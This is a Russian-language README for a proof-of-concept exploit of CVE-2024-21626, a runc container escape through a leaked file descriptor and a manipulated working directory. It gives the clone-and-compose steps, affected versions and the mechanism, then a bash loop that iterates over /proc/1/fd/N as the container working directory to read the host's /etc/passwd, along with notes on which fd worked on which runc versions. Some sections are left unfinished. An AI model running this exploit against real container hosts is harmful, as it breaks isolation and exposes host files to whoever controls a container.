
Эксплойт proof-of-concept для CVE-2024-21626 — выход из контейнера runc через утечку файловых дескрипторов и манипуляцию process.cwd, обеспечивающий доступ к файловой системе хоста.
Эксплуатация:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
Проверка: если получен /etc/passwd хоста, значит уязвимость присутствует.
Окружение: runc: >=v1.0.0-rc93,<=1.1.11
Принцип и детали атаки:
В затронутых версиях runc во время инициализации происходит утечка некоторых внутренних файловых дескрипторов, включая дескриптор /sys/fs/cgroup хоста, при этом runc не проверяет, находится ли конечная рабочая директория в mount namespace контейнера. Атакующий может изменить конфигурацию process.cwd на /proc/self/fd/7 или заменить конкретный путь, переданный в параметре --cwd при вызове runc exec на хосте, символической ссылкой на /proc/self/fd/7/, что позволяет процессам внутри контейнера получать доступ к файловой системе хоста и управлять ею, обходя механизм изоляции контейнера.
Подробнее (gif-изображение):

CVE: CVE - CVE-2024-21626 (mitre.org)
Исследователь, обнаруживший эту уязвимость: CVE-2024-21626 runc process.cwd и утечка fds: прорыв контейнера | Snyk (snyk.io)

Фактический fd может меняться в зависимости от порядка открытия файлов. Для перебора можно использовать следующий скрипт:
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录,并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
Локальный тест успешен:
fd/9 сработал: runc-version: 1.1.10 1.1.2

При runc --version 1.0.0:

При runc --version 1.1.4 fd/8 сработал:

Дыра появилась только сегодня. Ниже расскажу подробнее.
Воспроизвести можно следующими способами:
todo: Получение df через точки останова в runc для автоматизации.